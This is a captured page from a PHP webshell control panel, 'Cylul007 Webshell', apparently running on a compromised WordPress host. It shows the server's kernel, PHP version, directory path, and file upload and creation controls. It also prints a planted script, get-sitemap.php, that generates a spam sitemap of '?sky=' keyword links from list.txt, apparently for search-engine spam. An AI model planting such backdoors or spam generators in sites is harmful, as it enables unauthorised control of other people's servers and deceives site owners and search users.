Cylul007 Webshell
Uname
:
Linux ip-172-31-85-249 4.19.0-27-cloud-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
PHP
:
7.4.16
on
fpm-fcgi
Time
:
27 Dec 2024 20:42:31
Path :
/
opt
/
bitnami
/
apps
/
wordpress
/
htdocs
/
lazawin
/
File Upload :
New File
New Folder
Current File : /opt/bitnami/apps/wordpress/htdocs/lazawin/get-sitemap.php
Download
HOME
<?php function getFileRowCount($filename) { $file = fopen($filename, "r"); $rowCount = 0; while (!feof($file)) { fgets($file); $rowCount++; } fclose($file); return $rowCount; } $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if (isset($fullUrl)) { $parsedUrl = parse_url($fullUrl); $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : ''; $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : ''; $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : ''; $baseUrl = $scheme . "://" . $host . $path; $urlAsli = str_replace("get-sitemap.php", "", $baseUrl); $judulFile = "list.txt"; $jumlahBaris = getFileRowCount($judulFile); $sitemapFile = fopen("sitemap.xml", "w"); fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL); fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">' . PHP_EOL); $fileLines = file($judulFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $time = date('c', time()); foreach ($fileLines as $index => $judul) { $sitemapLink = $urlAsli . '?sky=' . urlencode($judul); fwrite($sitemapFile, ' <url>' . PHP_EOL); fwrite($sitemapFile, ' <loc>' . $sitemapLink . '</loc>' . PHP_EOL); fwrite($sitemapFile, ' <lastmod>' . $time . '</lastmod>' . PHP_EOL); fwrite($sitemapFile, ' <priority>0.5</priority>' . PHP_EOL); fwrite($sitemapFile, ' </url>' . PHP_EOL); } fwrite($sitemapFile, '</urlset>' . PHP_EOL); fclose($sitemapFile); echo "SITEMAP DONE CREATE!"; } else { echo "URL saat ini tidak didefinisikan."; }
Copyright © 2018 - Powered By CytoXploit